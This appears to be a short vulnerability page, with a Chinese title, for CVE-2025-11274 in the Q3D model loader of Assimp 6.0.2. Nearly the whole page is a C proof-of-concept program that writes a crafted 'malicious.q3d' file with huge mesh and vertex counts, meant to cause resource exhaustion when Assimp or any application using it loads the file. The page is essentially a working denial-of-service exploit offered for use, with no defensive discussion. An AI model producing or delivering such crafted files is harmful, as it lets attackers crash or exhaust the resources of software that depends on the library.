CVE-2025-11274：Assimp 6.0.2 Q3D加载器资源分配漏洞

/* * CVE-2025-11274 - Assimp Q3DLoader Resource Allocation Vulnerability PoC * * This PoC demonstrates how to trigger resource exhaustion in Assimp's * Q3DImporter::InternReadFile function by crafting a malicious Q3D file * with abnormally large allocation requests. * * Usage: Place the generated malicious.q3d file and load it using Assimp * or any application that uses the Assimp library. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> // Q3D file format magic header static const char Q3D_MAGIC[] = "quick3Ds"; /* * Generate a malicious Q3D file that triggers excessive resource allocation * in Q3DImporter::InternReadFile. */ int generate_malicious_q3d(const char *filename) { FILE *fp = fopen(filename, "wb"); if (!fp) { fprintf(stderr, "[-] Failed to create output file: %s\n", filename); return -1; } // Write Q3D magic header fwrite(Q3D_MAGIC, 1, strlen(Q3D_MAGIC), fp); // Write version info uint32_t version = 0x00010000; // Version 1.0 fwrite(&version, sizeof(uint32_t), 1, fp); // Craft an abnormally large mesh count to trigger excessive allocation uint32_t mesh_count = 0xFFFFFFFF; // Intentionally oversized value fwrite(&mesh_count, sizeof(uint32_t), 1, fp); // Write vertex data with extreme dimensions uint32_t vertex_count = 0x7FFFFFFF; fwrite(&vertex_count, sizeof(uint32_t), 1, fp); // Fill with padding data to make the file appear valid enough for parsing for (int i = 0; i < 1024; i++) { uint32_t padding = 0xDEADBEEF; fwrite(&padding, sizeof(uint32_t), 1, fp); } fclose(fp); printf("[+] Malicious Q3D file generated: %s\n", filename); printf("[+] Load this file with Assimp to trigger CVE-2025-11274\n"); return 0; } int main(int argc, char *argv[]) { const char *output = "malicious.q3d"; if (argc > 1) { output = argv[1]; } printf("[*] CVE-2025-11274 PoC - Assimp Q3DLoader Resource Exhaustion\n"); printf("[*] Generating malicious Q3D file...\n"); return generate_malicious_q3d(output); }